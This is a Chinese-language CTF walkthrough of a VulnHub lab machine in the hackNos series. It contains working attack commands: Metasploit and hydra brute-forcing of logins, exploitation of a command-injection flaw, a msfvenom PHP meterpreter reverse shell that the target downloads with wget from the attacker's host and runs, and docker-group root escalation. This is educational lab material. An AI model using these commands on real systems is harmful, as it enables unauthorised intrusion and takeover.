介绍

系列: hackNos(此系列共7台)
发布日期:2019 年 11 月 29 日
难度:初级-中级
Flag : 2个,一个普通用户的,一个根用户的
学习:

  • msf爆破网站登录框
  • 命令执行漏洞
  • msf反弹shell
  • sudo提权、docker提权

靶机地址:https://www.vulnhub.com/entry/hacknos-os-hacknos-21,403/

信息收集

主机发现

netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。

sudo netdiscover -i eth0 -r 192.168.124.0/24

在这里插入图片描述

主机信息探测

信息探测:nmap -A -p- 192.168.124.11,只开放了21、22和80端口,其中21端口允许匿名登陆
在这里插入图片描述

测试21(ftp)

使用用户名:ftp,密码:ftp 进行登录,站点上没有文件,只是在登录的时候看到一条暗语:Security@hackNos
在这里插入图片描述

访问网站

网页很简单,点击中间的“TroubleShoot”会弹出一个登录框
在这里插入图片描述

目录扫描

尝试目录扫描,没有发现什么有价值的信息。

gobuster dir -u http://192.168.124.11/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100
dirb http://192.168.124.11/

在这里插入图片描述

在这里插入图片描述

登录爆破

不知道登录名是什么,也懒得测试,直接拿msf爆破,连找字典都省了。唯一需要注意的是把测试ftp时候的暗语“Security@hackNos”加入到密码字典中

加入msf密码字典:
/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt


use auxiliary/scanner/http/http_login
show options	# 获知密码的字典位置,把“Security@hackNos”加入到密码字典中
set AUTH_URI /5ecure/
set STOP_ON_SUCCESS true
set RHOSTS 192.168.124.11
exploit

在这里插入图片描述

爆破出网站的账号密码:admin,Security@hackNos,登录之后,如下图,看到“Ping_scan”我就呵呵了,跟dvwa蛮像的,八成是个命令执行漏洞。
在这里插入图片描述

命令执行

使用ls命令发现靶机当前路径下有一些文件,其中,“out.php”看起来像是有点意思,看看里面有什么东西
在这里插入图片描述

发现是一些过滤的规则
在这里插入图片描述

发现靶机上,除了root之外有2个用户
在这里插入图片描述

木得意思,直接给我反弹shell吧

反弹shell

可以网上直接找反弹shell的命令,我这里用msf生成了(大家还是网上找php反弹shell的命令吧,msf真麻烦)

  1. kali准备
生成恶意文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.124.10 lport=4444 -f raw > shell.php

开启web服务
python3 -m http.server 80

开启msf
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lport 4444
set lhost 192.168.124.10
exploit
  1. 靶机准备
wget http%3a//192.168.124.10/shell.php		# 下载恶意文件
php shell.php		# 运行恶意文件

在这里插入图片描述

在这里插入图片描述

  1. 拿到session

Flag1

获取交互式shell:python -c 'import pty; pty.spawn("/bin/bash")'
在这里插入图片描述

切换身份

接下来就需要切换身份为 recon 了,前面曾使用msf爆破过网站,将其字典拿过来,供hydra爆破。
爆破出用户名:recon,密码:Security@hackNos

hydra -l recon -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt ssh://192.168.124.11

在这里插入图片描述

提权获取Flag2

方法1:sudo提权

准备suod提权,竟然发现rohit用户可以使用root用户的所有命令,还提权个锤子,直接拿Flag2。话说,hackNos系列的“HACKNOS:OS-HACKNOS-2.1”靶机也是这么提权的
在这里插入图片描述

方法2:docer提权

话说,hackNos系列的“HACKNOS: OS-HACKNOS-3”靶机也是这么提权的。

  1. 发现存在docker组,但是没有发现镜像文件。
id		# 发现存在docker组
docker images		# 发现没有镜像文件

在这里插入图片描述

  1. 创建镜像,自动下载 alpine 文件:docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  2. 退出:exit
  3. 查看当前 images:docker images

在这里插入图片描述

  1. 挂载镜像到mbt目录:docker run -it -v /:/mbt c059bfaa849c
  2. 进入到mbt目录下的root目录,即可查看到最后一个Flag

在这里插入图片描述

参考

hackNos ReconForce walkthrough vulnhub CTF

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐